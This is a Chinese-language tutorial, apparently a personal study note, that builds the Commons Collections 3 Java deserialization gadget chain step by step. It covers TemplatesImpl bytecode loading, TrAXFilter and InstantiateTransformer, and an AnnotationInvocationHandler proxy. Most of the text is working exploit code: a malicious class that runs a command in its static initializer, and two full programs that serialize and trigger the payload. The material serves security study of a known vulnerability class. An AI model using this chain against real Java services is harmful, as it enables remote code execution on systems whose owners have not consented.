CC3-类的动态加载+动态代理
环境搭建
环境跟CC1一样, https://www.cnblogs.com/starme/p/18464845
大概链子:
参考教程: https://www.bilibili.com/video/BV1Zf4y1F74K?t=1.3
分析
1. 类的动态加载
类的加载
Class c = Person.class;
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> person = Class.forName("Person",false,cl);
Class<?> person1 = cl.loadClass("Person");
类的加载器有多种:
ClassLoader -> SecureClassLoader -> URLClassLoader -> AppClassLoader
一般是由AppClassLoader处理
表现形式为:
sun.misc.Launcher$AppClassLoader@....
通过URLClassLoader实现加载任意字节码
// 获得类加载器
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://")});
// 类加载
Class<?> c = urlClassLoader.loadClass("Test");
// 类的实例化
c.newInstance();
通过反射调用ClassLoader类里面的defineClass函数进行加载
ClassLoader.defineClass字节码加载任意类
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class c = ClassLoader.class;
Method defineClassMethod = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test.class"));
defineClassMethod.invoke(cl,"Test",0,code.length);
反射就是先获得Class对象 -> 获得方法或变量 -> setAccessible -> invoke调用
加载后进行实例化:
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class c = ClassLoader.class;
Method defineClassMethod = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test.class"));
Class c2 = (Class) defineClassMethod.invoke(cl, "Test", 0, code.length);
// 实质上是执行:cl.defineClass("Test", 0, code.length);
c2.newInstance();
获得类之后就要newInstance进行实例化
与CC1不同,CC1是找一个符合条件的能够进行反射执行invoke方法的方法
而CC3是找一个重写defineClass且为public修饰的地方
重写的是ClassLoader里面的defineClass,然后查找用法
2. TemplatesImpl.newTransformer -> defineClass.newInstance
TemplatesImpl.defineClass
ClasssLoader里面的defineClass:
查找用法,找到这个:
在com.sun.org.apache.xalan.internal.xsltc.trax包的TemplatesImpl类
Class defineClass(final byte[] b)
没有被public修饰,不能直接调用
接着看哪里调用了这个defineClass
defineTransletClasses
在这个类的defineTransletClasses方法中调用
private void defineTransletClasses()
但是这个被private修饰,也是不能直接调用
继续查找其用法
这个类的三个方法中都调用了defineTransletClasses方法
分别是getTransletClasses、getTransletIndex、getTransletInstance
但是只有getTransletIndex被public修饰 ×
被public修饰不要紧,继续调用就行了
getTransletInstance
只有getTransletInstance方法中还涉及了类的初始化:
所以选择getTransletInstance
newTransformer
查找getTransletInstance的用法:
发现还是在这个类中,在public修饰的newTransformer方法里调用
所以接下来在刚刚涉及到的地方打断点,然后慢慢调试
上面涉及到的方法都是在TemplatesImpl类里面的
这个类的构造函数:
有一个空参构造方法
public TemplatesImpl()
挑食下发现首先要绕过getTransletInstance方法的这里:
给_name赋值,而不给_class赋值
查找_name的用法:
这三种写入方式都是行不通的
由此想到万能的反射
Class c = templates.getClass();
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
加上之后再调试,来到了这里:
发现要给_bytecodes赋值
类似的,通过反射给它赋值
先看一下它的类型,以免发生赋值错误:
private byte[][] _bytecodes = null;
是个二维数组,那怎么赋值?
再结合一下下面的:
_class[i] = loader.defineClass(_bytecodes[i]);
我们是想让
defineClass("Test", 0, code.length)
把代码放到一维数组里面,然后外面再由代码逻辑套一层就成二维数组了
Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\__easyHelper__\\Test_CC3.class"));
byte[][] codes= {code};
bytecodesField.set(templates,codes);
实际执行的是:
loader = defineClass(code);
再次调试,发现在这里报错:
报错:NullPointerException ,即空指针
当尝试使用一个为null的对象时抛出这个异常,也就是说,代码试图调用一个方法或访问一个属性,但对象本身是null,无法进行操作
来看看它是什么东西:
private transient TransformerFactoryImpl _tfactory = null;
可见_tfactory
被transient修饰,即为不可被序列化的一个变量
所以应该在readObject里面赋值
_tfactory = new TransformerFactoryImpl();
从这里可以看出_tfactory
应该赋什么值
再用上反射:
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
按理来说,运行之后应该会执行Test_CC3.class里面的东西
确实执行了
不要忘了defineTransletClasses方法里面的这个判断:
superClass.getName().equals(ABSTRACT_TRANSLET)
这里在看父类的名字是否与ABSTRACT_TRANSLET相同
来看看ABSTRACT_TRANSLET 是什么东西:
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
注意还要学习恶意Class文件怎么编写
一般的恶意Class文件:
package org.example.CC;
import java.io.IOException;
public class Test2 {
static {
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
如今上面限制了父类的名称,所以要加个extends加个父类
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class Test extends AbstractTranslet
加入父类之后还得处理父类带来的接口的实现,即:
package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
这么处理后就能绕过superClass.getName().equals(ABSTRACT_TRANSLET)
这个判断了
如今实现了:
TemplatesImpl.newTransformer
-> getTransletInstance
-> defineTransletClasses
-> defineClass
-> newInstance
3.1 ChainedTransformer.transform
现在接着往下写,继续扩展templates.newTransformer();
// 扩展:templates.newTransformer();
// 接下来这部分不应该是简单的调用,而是类似于反射
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates), // 对应templates
new InvokerTransformer("newTransformer", null,null) // newTransformer为无参,对应.newTransformer()
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1); // 调用transform
进行的是chainedTransformer.transform -> TemplatesImpl.newTransformer
然后再拓展chainedTransformer.transform(1); 这部分内容
HashMap<Object, Object> map = new HashMap<>();
// 新生成一个map:
map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确保能访问
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
// serialize(o);
unserialize("ser.bin");
3.2 TrAXFilter.TrAXFilter
找能动态调用newTransformer方法的其他transform方法
调用这个newTransformer方法的还有其他类,如TransformerFactoryImpl类
但是这个类不能序列化
如果要使用的话,就要像Runtime一样调用Class对象之类的
但是使用Runtime类的时候是没有传参数的,而TransformerFactoryImpl类需要传,这种传参的最好是在构造函数里面传
但是可以发现TransformerFactoryImpl类的构造函数很难传参:
所以不使用TransformerFactoryImpl类有几个原因:
- TransformerFactoryImpl类不能序列化,利用起来麻烦,但不是不能利用
- 需要传参,且很难通过构造函数传,利用起来麻烦
我们这里找的是TrAXFilter类
因为这个
虽然好像也不能序列化,但是传参利用方便,直接在构造函数这里就调用了
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
_transformer = (TransformerImpl) templates.newTransformer();
templates = TemplatesImpl
说明只要能够调用这个类的构造函数并传参,就能触发TransformerFactoryImpl类的newTransformer
那么怎么调用,同时又要跟transfrom方法有关
InstantiateTransformer.transform
这里使用的是org.apache.commons.collections.functors.InstantiateTransformer类
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
这个恰好能满足要求,能够调用构造函数并传参
这里面有paramTypes和iArgs这两个可控参数,分别是构造函数的参数类型和构造函数的参数值
InstantiateTransformer的构造函数:
public InstantiateTransformer(Class[] paramTypes, Object[] args)
所以构造:
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
还要调用instantiateTransformer对象的transform方法才行
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// TrAXFilter trAXFilter = new TrAXFilter(templates);
instantiateTransformer.transform(TrAXFilter.class);
注意只有能序列化的类才能new对象,所以这里不能直接把TrAXFilter类实例化了,这里实例化的时候就直接触发它的构造方法,也就没有instantiateTransformer.transform什么事了
这里传的是TrAXFilter.class,对应的是:
- Object input
果然Object的话啥都能传
实际上这里执行的是:
((Class) TrAXFilter.class).getConstructor(new Class[]{Templates.class}).newInstance(new Object[]{templates});;
注意getConstructor方法跟在Class对象之后
这样的话又把transform这条线连起来了
接着就拓展
instantiateTransformer.transform(TrAXFilter.class);
这条线
修改并加上之前的代码:
HashMap<Object, Object> map = new HashMap<>();
// 新生成一个map:
map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
Map<Object, Object> lazyMap = LazyMap.decorate(map, instantiateTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确保能访问
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");
然后反序列化的时候出错:
说的是这里的input不为Classs:
发现这里的值是entrySet:
这是之前的老毛病了,不能控制最后的变量
package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3_2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
// templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://__easyHelper__/Test_CC3.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// InstantiateTransformer(Templates.class,)
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// TrAXFilter trAXFilter = new TrAXFilter(templates);
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
// 新生成一个map:
map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确保能访问
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
// serialize(o);
unserialize("ser.bin");
// TiedMapEntry
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
现在有个问题,最后的entrySet是哪儿来的?
+
无参方法entrySet,所以member = entrySet
这部分用了CC1的动态代理部分内容
代码
代码1
package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
// URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://")});
// Class<?> c = urlClassLoader.loadClass("Test");
// c.newInstance();
TemplatesImpl templates = new TemplatesImpl();
// templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://__easyHelper__/Test_CC3.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
// 扩展:templates.newTransformer();
// 接下来这部分不应该是简单的调用,而是类似于反射
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates), // 对应templates
new InvokerTransformer("newTransformer", null,null) // newTransformer为无参,对应.newTransformer()
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1); // 调用transform
HashMap<Object, Object> map = new HashMap<>();
// 新生成一个map:
map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确保能访问
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
// serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
代码2
package org.example.CC;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3_2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
// templates.newTransformer();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://__easyHelper__/Test_CC3.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);
//
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// InstantiateTransformer(Templates.class,)
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// TrAXFilter trAXFilter = new TrAXFilter(templates);
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
// 新生成一个map:
map.put("value", "aaa"); // 这个value为Target接口的成员方法的名称
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取构造方法
Constructor annotationInvocationdhdlConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确保能访问
annotationInvocationdhdlConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationdhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = annotationInvocationdhdlConstructor.newInstance(Override.class,mapProxy);
serialize(o);
unserialize("ser.bin");
// TiedMapEntry
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}